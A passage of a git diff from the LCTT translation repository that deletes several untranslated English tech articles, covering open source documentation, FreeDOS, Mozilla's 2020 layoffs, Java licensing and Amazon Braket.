contributing by working on documentation, as you often don't need deep technical knowledge of the software to get started. It's good for new contributors to onboard in the community by getting familiar with the contribution workflow and meeting other community members. If these new contributors later want to get involved in other parts of the project (including code), you want the toolchains and contribution process to be familiar. Otherwise, they will need to go through another onboarding process, which creates an unnecessary hurdle for contributors. If your code and documentation have different contribution processes, you may risk creating an impression that documentation is less than a first-class citizen compared to code. - - 5. **Have well-documented processes for contributing to documentation:** This may seem obvious, but it's easy to neglect. Since documentation is a good entry point for new contributors, you want to lower the barrier to entry as much as possible. Having good documentation on the contribution workflow, how to get started, where to find issues to work on, how to get help, and more will go a long way to helping new contributors feel welcome and get involved in your community. - - - - -### What else? - -Do you have other tips for making documentation a first-class citizen in open source communities? If so, please share them in the comments. - -* * * - -*This article is based on [Ensuring that documentation Is a first-class citizen in open source projects][7] *presented *at Open Source Summit North America in June 2020. * - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/documentation-open-source-projects - -作者:[Ray Paik][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/rpaik -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/files_documents_paper_folder.png?itok=eIJWac15 (Files in a folder) -[2]: https://opensource.com/resources/what-open-source -[3]: https://www.linuxfoundation.org/projects/networking/ -[4]: https://about.gitlab.com/ -[5]: https://wiki.onap.org/display/DW/Guilin+Documentation -[6]: https://docs.gitlab.com/ee/development/contributing/merge_request_workflow.html#definition-of-done -[7]: https://sched.co/c3SY diff --git a/sources/talk/20200806 You don-t need a computer science degree to work with open source software.md b/sources/talk/20200806 You don-t need a computer science degree to work with open source software.md deleted file mode 100644 index 078b0d10f9..0000000000 --- a/sources/talk/20200806 You don-t need a computer science degree to work with open source software.md +++ /dev/null @@ -1,55 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (You don't need a computer science degree to work with open source software) -[#]: via: (https://opensource.com/article/20/8/learn-open-source) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) - -You don't need a computer science degree to work with open source software -====== -Open source makes software knowledge accessible to anyone, so formal -training isn't the only path to a technology career. -![Stack of books for reading][1] - -I am mostly a self-taught programmer. When I was growing up in the late 1970s, our elementary school had a small resource room with an Apple II computer. My brother and I fell into a group of friends that liked computers, and we all helped each other learn the system. - -We showed such promise that our parents bought us an Apple II+ clone called the Franklin ACE 1000. My brother and I taught ourselves how to program in AppleSoft BASIC. Our parents bought us books, and we devoured them. I learned every corner of BASIC by reading about something in the book, then writing a practice program. My favorite pastime was writing simulations and games. - -I stayed with BASIC for a long time. Our next computer was an IBM PC clone with a version of BASIC on it. Much later, MS-DOS 5 introduced QBasic, which was a modern version of BASIC that finally eliminated line numbers. - -I began to learn other programming languages when I entered university. I was a physics student, and as part of our numerical analysis prerequisite, we had to learn Fortran. Having already learned BASIC, I thought Fortran was pretty easy to pick up. Fortran and BASIC were very similar, although Fortran was more limited in my experience. - -My brother was a computer science major at a different university, and he introduced me to the C programming language. I immediately loved working in C! It was a straightforward programming language that gave me a ton of flexibility for writing useful programs. But I didn't have room in my degree program to take a class that didn't apply to my physics major. So, instead, I taught myself C by reading books and combing through the library reference guide. Each time I wanted to learn a new topic, I looked it up in the reference guide and wrote a practice program to exercise my new knowledge. - -My early use of C was writing new utilities to expand MS-DOS. I used Unix on campus, but my computer at home mostly ran MS-DOS. I wanted MS-DOS to have similar enhanced command-line features that Unix offered, so I wrote my own utilities to give me the added functionality. - -I suppose my first tools were pretty simple programming exercises. I used programs like Unix cat or DOS TYPE to display the contents of text files, with extra command-line options to add line numbers, convert tabs to spaces, and the like. Or I'd use a program like Unix clear or DOS CLS to clear the screen, but also set the colors to something other than the usual white-on-black text. And I wrote a few new utilities to help me with my studies, like a program to find common errors in a Fortran source file, a utility to organize files in a directory, a filter to convert nroff files to LaTeX format, and a program to fit a straight line through x and y data points. - -Armed with this limited experience in C programming, I tackled my first big open source project. It turns out you can accomplish a lot if you don't know what you don't know and have a passion for a project. That's how I created the [FreeDOS Project][2] in 1994. - -Since then, I've written, maintained, or otherwise contributed to dozens of open source projects on FreeDOS, Linux, and Big Unix. My first contribution was a fix to GNU Emacs so it would compile correctly on a DomainOS Unix system. I also submitted patches to an early open source C compiler specific to HP-UX, a fun artillery game with cartoony tanks, a utility to organize music on an iPod, and other Unix and Linux programs. On FreeDOS, I wrote much of the underlying code libraries we used at the time, including an implementation of Unix catgets, so FreeDOS programs could support different spoken languages without having to be rewritten. - -Over time, I leveraged what I'd learned to pick up other programming languages. I wrote a ton of Unix Korn shell scripts, Linux Bash scripts, and AWK scripts. I wrote small utilities in Perl, and later wrote Perl CGI and PHP pages for websites. I learned enough LISP to tweak my copy of GNU Emacs, and enough Scheme to work on a project that used GNU Guile. And I continued to write and share open source games, applications, utilities, and tools for Linux and FreeDOS. - -And as I wrote more code, I got better at programming. Even today, I continue to learn new things and reinforce those lessons by [teaching others][3]. I'm always trying new things out. - -And that's my lesson. You don't have to be formally trained in computer science or hold a CS degree to contribute to open source software. Find your passion, and you can figure out the rest on your own. All that matters is that you love doing what you do and that you're willing to share your contribution with others. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/learn-open-source - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/books_read_list_stack_study.png?itok=GZxb9OAv (Stack of books for reading) -[2]: https://opensource.com/article/17/10/freedos -[3]: https://opensource.com/article/20/7/teaching-c diff --git a/sources/talk/20200807 Meeting for the first time after 26 years of open source collaboration.md b/sources/talk/20200807 Meeting for the first time after 26 years of open source collaboration.md deleted file mode 100644 index 700b4c9db3..0000000000 --- a/sources/talk/20200807 Meeting for the first time after 26 years of open source collaboration.md +++ /dev/null @@ -1,53 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Meeting for the first time after 26 years of open source collaboration) -[#]: via: (https://opensource.com/article/20/8/meet-open-source-collaborators) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) - -Meeting for the first time after 26 years of open source collaboration -====== -Open source is great because people from anywhere can get involved, but -it can be lonely. Take advantage of the proliferation of video -conferencing tools available to make connections with your fellow -developers. -![Two people chatting via a video conference app][1] - -Collaborating on an open source software project is inherently an online experience. For me, almost all of my interaction has been via email. I'll send someone a patch, and they'll review it and reply to me. Or a user will file a bug, and I'll respond to it via the bug tracker. More commonly, developers in the open source community will discuss ideas via the email list. - -Over the years, I've only interacted on projects electronically, and have only met a few people in person, usually in settings unrelated to the project. Sometimes it's at conferences—we'll recognize each other's names, and realize we're working on the same open source project. I really enjoy those connections, but they're rare. - -In 1994, I created the [FreeDOS Project][2], an open source implementation of the DOS operating system. In the last 26 years, I've met only a handful of folks from that project in person. I met one developer when I attended a work conference in his city, and we got dinner together. Another developer took time out of his vacation tour of the Midwest to visit and have a drink. I crossed paths with another developer at an open source conference. And I spoke with Pat, who wrote our first kernel, on the phone several times, but we never met in person. - -A few weeks ago, I decided to change that dynamic. We live in an era of ubiquitous video conferencing, even more so in the last few months, as many people have shifted to remote work due to the pandemic. Even though open source work happens virtually, independent of geography, we can still build relationships and put names to faces. Zoom, BlueJeans, Google Hangouts, or Jitsi Meet are the new way to connect while maintaining social distance. - -On June 29, 2020, to celebrate the 26th anniversary of FreeDOS, we held our first online get-together. It was an opportunity to finally actually meet the people I'd been working with for the last 20+ years. - -And it was awesome! At our peak, we had over 16 people on the video meeting. I loved getting to see everyone and talk "in-person." We had almost an hour and a half of engaging conversations with folks from all over the world. Thanks to everyone who participated! - -It's meetings like this when I remember open source is more than just writing code; it's about building a community. And while I've always done well with our virtual community that communicates via email, I really appreciated getting to talk to people without the filter of email—making that real-time connection meant a lot to me. - -This virtual meet-up went so well that I'd love to do it again. In fact, I'm planning another virtual get-together later this summer. I'm hoping to focus the conversation on that one, maybe make it a "working session" to nail down some things for the upcoming FreeDOS 1.3 release. Stay tuned for more details! - -![Screenshot of zoom call participants with names and faces blurred][3] - -*Names and faces blurred for privacy - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/meet-open-source-collaborators - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/chat_video_conference_talk_team.png?itok=t2_7fEH0 (Two people chatting via a video conference app) -[2]: https://www.freedos.org/ -[3]: https://opensource.com/sites/default/files/uploads/screenshot_from_2020-06-29_09-29-49.jpg (Screenshot of zoom call participants with names and faces blurred) diff --git a/sources/talk/20200808 Matrix encrypted chat rolls out across Germany, Project ACRN-s new IoT release, and more open source news.md b/sources/talk/20200808 Matrix encrypted chat rolls out across Germany, Project ACRN-s new IoT release, and more open source news.md deleted file mode 100644 index e63ea493e5..0000000000 --- a/sources/talk/20200808 Matrix encrypted chat rolls out across Germany, Project ACRN-s new IoT release, and more open source news.md +++ /dev/null @@ -1,79 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Matrix encrypted chat rolls out across Germany, Project ACRN's new IoT release, and more open source news) -[#]: via: (https://opensource.com/article/20/8/news-aug-8) -[#]: author: (Lauren Maffeo https://opensource.com/users/lmaffeo) - -Matrix encrypted chat rolls out across Germany, Project ACRN's new IoT release, and more open source news -====== -Catch up on the biggest open source headlines from the past two weeks. -![][1] - -In this week’s edition of our open source news roundup, an open source microfluidics pump, Germany rolls out an encrypted messaging platform based on Matrix, and more open source news. - -### A Reddit user shares his open source microfluidics pump - -As COVID-19 limits access to chemistry and biology labs, one open source user made his own solution. Josh Maceachern shared the model in a thread [on Reddit][2], sharing his microfluidics pump for less than $300 in total.  - -According to the creator, the pump runs on only 3D-printed and common components for less than $300 total. An [article by Hackaday][3] adds that the pump delivers up to 15 mL/min with accuracy to 0.1uL/min. That's enough power for users to do their own genetics or biology projects at home. - -Along with the design files for folks to build their own pumps, Maceachern said on Reddit that he's releasing the pump under the CC BY 4.0 license. He gave his blessing for anyone to use it, asking that they attribute him. - -### Germany prepares for the world's largest deployment of Matrix-based open source software  - -When [Dataport][4] rolls out Element collaboration software this fall, they'll deploy it for half a million users in the German states of Schlesweig-Holstein and Hamburg. According to Element in [this article][5], it will be "...the biggest single messaging and collaboration implementation in the world." - -In an era of videoconferencing dominated by big brands, Germany's choice of a fully open source tool is noteworthy. It's also no accident that this deployment will occur in Europe: Element shared [in a blog post][6] that it's devoted to giving users more control over their data, rather than seeing it stored on overseas systems. - -The post also cited "increasingly anti-encryption" sentiment in the U.S. as another reason to offer end-to-end encryption for European users. Element's forthcoming rollout in Germany will allow users to host their own data and messages. Dataport hopes to [deploy Element][7] as a matrix-based solution by September, in time for the start of term in Germany. - -### Project ACRN release Version 2.0 of its IoT hypervisor - -ACRN is an open source hypervisor supported by the Linux Foundation's [Automotive Grade Linux][8]. The project says its lightweight hypervisor supports IoT functions like graphics, imaging, and audio on less than 40k lines of code. After the initial focus on automotive safety, the Linux Foundation's latest release of [Project ACRN][9] is more focused on IoT applications by balancing safety features with more general purpose Virtual Machines (VMs).  - -[The Project's v2.0][10] expands support to Kata containers and OpenStack. It also supports partition mode and sharing mode in tandem. - -In other news: - - * [Open wearables group buttons down on datasets][11] - * [Microsoft joins Open Source Security Foundation][12] - * [Uniting for better open-source security: The Open Source Security Foundation][13] - * [China unveils AI open-source platform 'Dubhe'][14] - * [System76 reveals an open source PC surprise for AMD Ryzen fans][15] - - - -Thanks, as always, to Opensource.com staff members and [Correspondents][16] for their help this week. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/news-aug-8 - -作者:[Lauren Maffeo][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lmaffeo -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/weekly_news_roundup_tv.png?itok=tibLvjBd -[2]: https://www.reddit.com/r/functionalprint/comments/hsevpl/opensource_multichannel_microfluidicsosmm_pump/ -[3]: https://hackaday.com/2020/07/29/an-open-source-microfluidic-pump-for-your-science-needs/ -[4]: https://www.dataport.de/who-we-are/ -[5]: https://www.zdnet.com/article/open-source-is-behind-this-massive-messaging-and-collaboration-project-for-500000-people/ -[6]: https://element.io/blog/element-brings-matrix-to-europe/ -[7]: https://www.dataport.de/was-wir-bewegen/portfolio/projekt-phoenix/ -[8]: https://www.automotivelinux.org/ -[9]: https://github.com/projectacrn -[10]: https://projectacrn.github.io/2.0/ -[11]: https://www.computerweekly.com/blog/Open-Source-Insider/Open-wearables-group-buttons-down-on-datasets -[12]: https://www.microsoft.com/security/blog/2020/08/03/microsoft-open-source-security-foundation-founding-member-securing-open-source-software/ -[13]: https://www.zdnet.com/article/uniting-for-better-open-source-security-the-open-source-security-foundation/#ftag=RSSbaffb68 -[14]: https://news.cgtn.com/news/2020-08-03/China-unveils-AI-open-source-platform-Dubhe--SE3UpfEX5e/index.html -[15]: https://www.forbes.com/sites/jasonevangelho/2020/07/26/system76-reveals-an-open-source-surprise-for-amd-ryzen-fans/#4566bf106e4e -[16]: https://opensource.com/correspondent-program diff --git a/sources/talk/20200815 What Does Mozilla Firing 25- of its Workforce Tells us About its Future.md b/sources/talk/20200815 What Does Mozilla Firing 25- of its Workforce Tells us About its Future.md deleted file mode 100644 index 064c99cd1f..0000000000 --- a/sources/talk/20200815 What Does Mozilla Firing 25- of its Workforce Tells us About its Future.md +++ /dev/null @@ -1,107 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What Does Mozilla Firing 25% of its Workforce Tells us About its Future) -[#]: via: (https://itsfoss.com/mozilla-struggle/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -What Does Mozilla Firing 25% of its Workforce Tells us About its Future -====== - -Mozilla is in news again but not for good reasons. - -[Mozilla has suddenly fired around 250 employees][1], 25% of its workforce. It also closed operations in Taipei, Taiwan. The Taiwanese team was working on Firefox Lite. - -This is not the first layoff from Mozilla this year. At the beginning of the year, [Mozilla had laid off 70 employees][2]. - -So, what’s going on with Mozilla? Whatever it is, it’s certainly not positive. - -Mozilla has fired entire (or most of) teams working on [DevTools][3], [MDN][4], developer relation, [Servo][5] (browser engine written in Rust) and incident threat management. - -Why did it do that? What lies ahead for Mozilla? Here’s my opinion on the Mozilla crisis. - -### The gradual decline of Mozilla: Ignoring its flagship Firefox browser project - -Mozilla Firefox once had a good user base. It was seen as a superior browser and it looked like it would dethrone Internet Explorer as the most popular web browser. - -That would have happened if it was not for Google Chrome. The tech giant Google and its ‘thinking ahead’ leadership launched Google Chrome in 2008. - -Their aim was to get more and more people to use their search engine. How does a user access search engine? Through a web browser. - -So, instead of being dependent on other web browsers, Google created its own browser and integrated its products with this new browser. Google hired several Mozilla engineers to work on its browser. The current Google CEO, Sundar Pichai, led the team developing the Chrome browser. - -But Google didn’t just stop after creating Chrome in 2008. Google with all its technical might and intelligence, kept on improving the Chrome browser. - -Soon Google Chrome overtook Firefox and later Internet Explorer to become the most popular web browser. - -> The rise and fall of [#opensource][6] web browser Mozilla Firefox. [pic.twitter.com/Co5Xj3dKIQ][7] -> -> — Abhishek Prakash (@abhishek_foss) [March 22, 2017][8] - -But what happened to Mozilla Firefox? It is my opinion that Mozilla lost focus on the Firefox browser. They put time and energy in creating [Firefox mobile OS][9], Rust programming language, Hello video chat application and more. - -It’s not that it didn’t add new features to it, it’s just that Firefox started losing charm. - -Chrome had a faster experience while Firefox felt sluggish and heavy. Google’s evil practice of [deliberately slowing down Google products like YouTube on Firefox][10] also made users dump Firefox. - -Whatever it is. The truth is that Google Chrome is a superior product otherwise people won’t go installing it on their own. Microsoft couldn’t keep Windows users on Internet Explorer/Edge after all. - -### Google holds Mozilla by its neck and can squeeze it at will - -![][11] - -If you didn’t know, Mozilla relies heavily on Google with around 90% of its revenue coming from Google. [Google pays Mozilla a few hundred million US dollars each year][12] to be the default search engine on Firefox. - -The deal was helpful to Google when Firefox had good user base. With Google Chrome’s advent, Firefox has seen steep decline and it now stands at the third position with hardly 8% of the market share. Google Chrome dominates the market. - -Google doesn’t need Firefox’s help to get traffic to its search engine but Mozilla does need Google’s money to stay alive. - -A day after the layoffs, [Google extended the Firefox search deal with Mozilla][13]. Had Google not renewed its deal with Mozilla, it would have been real difficult for Mozilla to go beyond 2020. - -### Mozilla’s renewed focus on products that could make it money - -Mozilla Foundation is a not-for-profit organization but it also has taxable subsidiary in the form of Mozilla Corporation. Firefox browser is developed under Mozilla Foundation. The profit earned by the Mozilla Corporation is reinvested into Mozilla projects. - -Lately, Mozilla is trying hard to create new revenue channels to end its reliance on Google. Its [acquisition of Pocket app][14] and the launch of [Mozilla VPN][15] is part of this strategy. - -The recent layoffs are also part of Mozilla’s new strategy to focus on profitable products and reducing the workforce aimed at reducing the expense. - -But amidst all this, Mozilla must not ignore Firefox. People need a functioning browser and Mozilla should work on improving user experience. If the users have trouble [running Netflix][16] or YouTube or using other streaming services in this age, they will definitely switch. - -Not only it is the flagship project from Mozilla, it is also the biggest hope for people who don’t want Google. Microsoft’s Edge, Opera, Vivaldi, Brave and most of the other popular browsers have switched to Google’s Chromium project. Firefox is one of the rare browsers that doesn’t rely on Chromium. - -I hope that Mozilla rises from the ashes like a Phoenix. - -Those were my views on the Mozilla situation. I welcome yours in the comment section. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/mozilla-struggle/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://thenextweb.com/insights/2020/08/11/mozilla-firefox-layoffs-250-employees/ -[2]: https://www.bizjournals.com/sanjose/c/mountain-view-based-mozilla-laysoff-around-70.html -[3]: https://developer.mozilla.org/en-US/docs/Tools -[4]: https://developer.mozilla.org/en-US/ -[5]: https://servo.org/ -[6]: https://twitter.com/hashtag/opensource?src=hash&ref_src=twsrc%5Etfw -[7]: https://t.co/Co5Xj3dKIQ -[8]: https://twitter.com/abhishek_foss/status/844666818665025537?ref_src=twsrc%5Etfw -[9]: https://en.wikipedia.org/wiki/Firefox_OS -[10]: https://fortune.com/2018/07/25/youtube-slow-mozilla-firefox-chrome/ -[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/08/mozilla-struggle.jpg?resize=800%2C450&ssl=1 -[12]: https://www.zdnet.com/article/firefox-hits-the-jackpot-with-almost-billion-dollar-google-deal/ -[13]: https://www.theregister.com/2020/08/14/mozilla_google_search/ -[14]: https://blog.mozilla.org/blog/2017/02/27/mozilla-acquires-pocket/ -[15]: https://vpn.mozilla.org/ -[16]: https://itsfoss.com/netflix-firefox-linux/ diff --git a/sources/talk/20200817 What makes Java open source.md b/sources/talk/20200817 What makes Java open source.md deleted file mode 100644 index 4a1d0a6b5a..0000000000 --- a/sources/talk/20200817 What makes Java open source.md +++ /dev/null @@ -1,68 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What makes Java open source?) -[#]: via: (https://opensource.com/article/20/8/open-source-java) -[#]: author: (Daniel Oh https://opensource.com/users/daniel-oh) - -What makes Java open source? -====== -Clearing up the confusion about developing in Java while staying in the -open source ecosystem. -![Coffee beans][1] - -If you're using [Java][2] to write business applications, you may know that Java Standard Edition (SE) is not open source software. It is not managed by a foundation, like Python or JavaScript, and in January 2019, Oracle changed its policy to require a commercial license for any use of SE, from the developer's local environment to production. - -This change also raised a lot of questions in open source communities about licensing compliance and Java usage. If you're still confused, this article will guide you through how these changes apply to Java developers. - -### Evolving platforms in the Java community - -[OpenJDK][3] (Open Java Development Kit) is a free and open source implementation of Java SE. It is an alternative that allows more than 70% of Java developers to continue stabilizing their Java application environments while remaining within the open source ecosystem. OpenJDK is primarily licensed under the [GNU GPLv2][4]. The freedoms guaranteed by this distribution strategy have made OpenJDK the default choice for Java developers to build desktop applications that are compatible with Java SE. - -Oracle continued developing and maintaining Enterprise Java (Java EE), which is built on the Java SE platform. Java EE includes additional features outside SE's scope to support large-scale, scalable, multi-tier, and secured applications for a variety of enterprise environments. In September 2017, the Java EE platform was transferred to the [Eclipse Foundation][5], leading to the adoption of more agile processes, changing the governance process, and implementing more flexible licensing. One year later, in 2018, the Eclipse Foundation announced a new brand name, [Jakarta EE][6], with a new logo and working groups to support developers transitioning from Java EE to the new platform. The evolution from Java EE to Jakarta EE also impacted many enterprise Java developers in implementing new business logic. - -### Evolving frameworks as Java evolved - -In the meantime, new technologies, such as RESTful APIs (2000), HTTP 2 (2015), and JSON (2017), were being developed alongside fast-changing web architectures. Interest in microservices architectures was growing, but because Java EE was in transition, it did not pick up on these new paradigms as they happened. - -In response, the broader Java community and several vendors (IBM, Red Hat, and Tomitribe) created [MicroProfile][7] in 2016 to optimize the Enterprise Java platform for microservices architectures. MicroProfile [later joined the Eclipse Foundation][8], giving enterprise Java developers two options for implementing microservice architectures: SpringBoot or MicroProfile. MicroProfile allows developers to create portable Java-based microservices across vendor solutions while ensuring compatibility between matching Java/Jakarta EE and MicroProfile APIs in the same application. - -If you are interested in Enterprise Java development, [MicroProfile Starter][9] is a great resource to explore microservices in practice. MicroProfile Starter's graphical user interface requires a few details to generate code to create a monolithic Java application server. - -A MicroProfile runtime supports deploying an application artifact (e.g., a JAR or WAR file) and executing it as a Java application server with a MicroProfile specification. You can choose the cloud-native runtime you prefer (e.g., [Quarkus][10]) from MicroProfle Starter's runtime list, then select specifications to gain additional enterprise features, such as fault tolerance, OpenAPI, OpenTracing, and more. Once you've completed these steps, click on "Download" to begin developing your application. - -![MicroProfile Starter GUI][11] - -(Daniel Oh, [CC BY-SA 4.0][12]) - -### Conclusion - -Navigating Java from an open source perspective can be a bit confusing given the language's long history, acquisitions, and relicenses. Sticking with OpenJDK and Jakarta EE allows Java developers to maintain standard enterprise applications without compromising open source freedoms. If you want to dive in further, take a look at MicroProfile or delve deeper into runtimes by exploring Quarkus. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/8/open-source-java - -作者:[Daniel Oh][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/daniel-oh -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/java-coffee-beans.jpg?itok=3hkjX5We (Coffee beans) -[2]: https://opensource.com/resources/java -[3]: https://openjdk.java.net/ -[4]: https://openjdk.java.net/legal/gplv2+ce.html -[5]: https://www.eclipse.org/org/ -[6]: https://opensource.com/article/18/5/jakarta-ee -[7]: https://microprofile.io/ -[8]: https://opensource.com/article/18/1/eclipse-microprofile -[9]: https://start.microprofile.io/ -[10]: https://quarkus.io/ -[11]: https://opensource.com/sites/default/files/uploads/microprofile.png (MicroProfile Starter GUI) -[12]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/sources/talk/20200818 Amazon Braket lets customers try out quantum computing.md b/sources/talk/20200818 Amazon Braket lets customers try out quantum computing.md deleted file mode 100644 index 3ca1ae3fae..0000000000 --- a/sources/talk/20200818 Amazon Braket lets customers try out quantum computing.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Amazon Braket lets customers try out quantum computing) -[#]: via: (https://www.networkworld.com/article/3570251/amazon-braket-lets-customers-try-out-quantum-computing.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Amazon Braket lets customers try out quantum computing -====== -AWS joins IBM, Microsoft, Google and others in growing quantum computing arena -[Glosser.ca / Pete Linforth][1] [(CC BY-SA 3.0)][2] - -AWS has announced the availability of a new service that lets customers tap into and experiment with [quantum computing][3] simulators and access quantum hardware from [D-Wave][4], [IonQ][5], and [Rigetti][6]. - -The managed service, [Amazon Braket][7], offers customers a development environment where they can explore and build quantum algorithms, test them on quantum circuit simulators, and run them on different quantum hardware technologies, AWS said in a [statement][7] about the service. The Braket service includes Jupyter notebooks that come pre-installed with the Amazon Braket SDK and example tutorials. - -**Read more: [What is quantum computing? (and why enterprises should care)][3] ** - -According to AWS, Braket provides access to a fully managed, high-performance, quantum circuit simulator that lets users test and validate circuits with a single line of code. In addition, as a native AWS service, Braket can be managed via the AWS management console. (Related: [Amazon joins the quantum computing crowd with Braket testbed][8]) - -The service is named after the standard notation in quantum mechanics bra-ket, which was introduced by Paul Dirac in 1939 to describe the state of quantum systems and is also known as the [Dirac notation][9]. - -"Quantum computing has the potential to solve computational problems that are beyond the reach of classical computers by harnessing the laws of quantum mechanics to process information in new ways," AWS stated. "This approach to computing could transform areas such as chemical engineering, material science, drug discovery, financial portfolio optimization, and machine learning. But defining those problems and programming quantum computers to solve them requires new skills, which are difficult to acquire without easy access to quantum computing hardware." - -In a blog about Braket, Jeff Barr, Chief Evangelist for AWS, said there are a few things customers should keep in mind about Braket: - - * Quantum computing is an emerging field. "Although some of you are already experts, it will take some time for the rest of us to understand the concepts and the technology, and to figure out how to put them to use." - * The [quantum processing units] QPUs accessed through Amazon Braket support two different paradigms. The IonQ and Rigetti QPUs and the simulator support circuit-based quantum computing, and the D-Wave QPU supports quantum annealing. You cannot run a problem designed for one paradigm on a QPU that supports the other one, so you will need to choose the appropriate QPU early. - * Each task will incur a per-task charge and an additional per-shot charge that is specific to the type of QPU used. Use of the simulator incurs an hourly charge, billed by the second, with a 15 second minimum. For more information, check out [Amazon Braket Pricing][10]  - - - -The Amazon Braket rollout follows similar [quantum service][11] introductions from [IBM][12], [Microsoft][13], [QC Ware, ][14]Google, Honeywell and others in what is becoming a growing market. Researchers at [Tractica][15] for example, forecast that total enterprise quantum computing market revenue will reach $9.1 billion annually by 2030, up from $111.6 million in 2018. "The global market for quantum computing is being driven largely by the desire to increase the capability of modeling and simulating complex data, improve the efficiency or optimization of systems or processes, and solve problems with more precision," Tractica stated. - -Gartner has called quantum computing one of the top potential disruptive technologies in the next five years, stating that the parallel execution and exponential scalability of quantum computers means they excel with problems too complex for a traditional approach or where traditional algorithms would take too long to find a solution. Industries such as automotive, financial, insurance, pharmaceuticals, military and research have the most to gain from the advancements in quantum computing. Most organizations should learn about and monitor QC through 2022 and perhaps exploit it from 2023 or 2025, Gartner stated. - -Join the Network World communities on [Facebook][16] and [LinkedIn][17] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3570251/amazon-braket-lets-customers-try-out-quantum-computing.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://en.wikipedia.org/wiki/File:Bloch_Sphere.svg -[2]: https://creativecommons.org/licenses/by-sa/3.0/legalcode -[3]: https://www.networkworld.com/article/3275367/what-s-quantum-computing-and-why-enterprises-need-to-care.html -[4]: https://aws.amazon.com/braket/hardware-providers/dwave/ -[5]: https://aws.amazon.com/braket/hardware-providers/ionq/ -[6]: https://aws.amazon.com/braket/hardware-providers/rigetti/ -[7]: https://aws.amazon.com/braket/ -[8]: https://www.networkworld.com/article/3487421/amazon-joins-the-quantum-computing-crowd-with-braket-testbed.html -[9]: https://en.wikipedia.org/wiki/Bra%E2%80%93ket_notation -[10]: https://aws.amazon.com/braket/pricing -[11]: https://www.networkworld.com/article/3489098/10-hot-quantum-computing-startups-to-watch.html -[12]: https://www.ibm.com/blogs/research/category/quantcomp/ -[13]: https://www.microsoft.com/en-us/quantum/ -[14]: https://qcware.com/ -[15]: https://tractica.omdia.com/newsroom/press-releases/the-quantum-computing-market-is-poised-for-strong-growth-with-global-revenue-to-reach-9-1-billion-by-2030/ -[16]: https://www.facebook.com/NetworkWorld/ -[17]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200821 3 ways a legal team can enable open source.md b/sources/talk/20200821 3 ways a legal team can enable open source.md 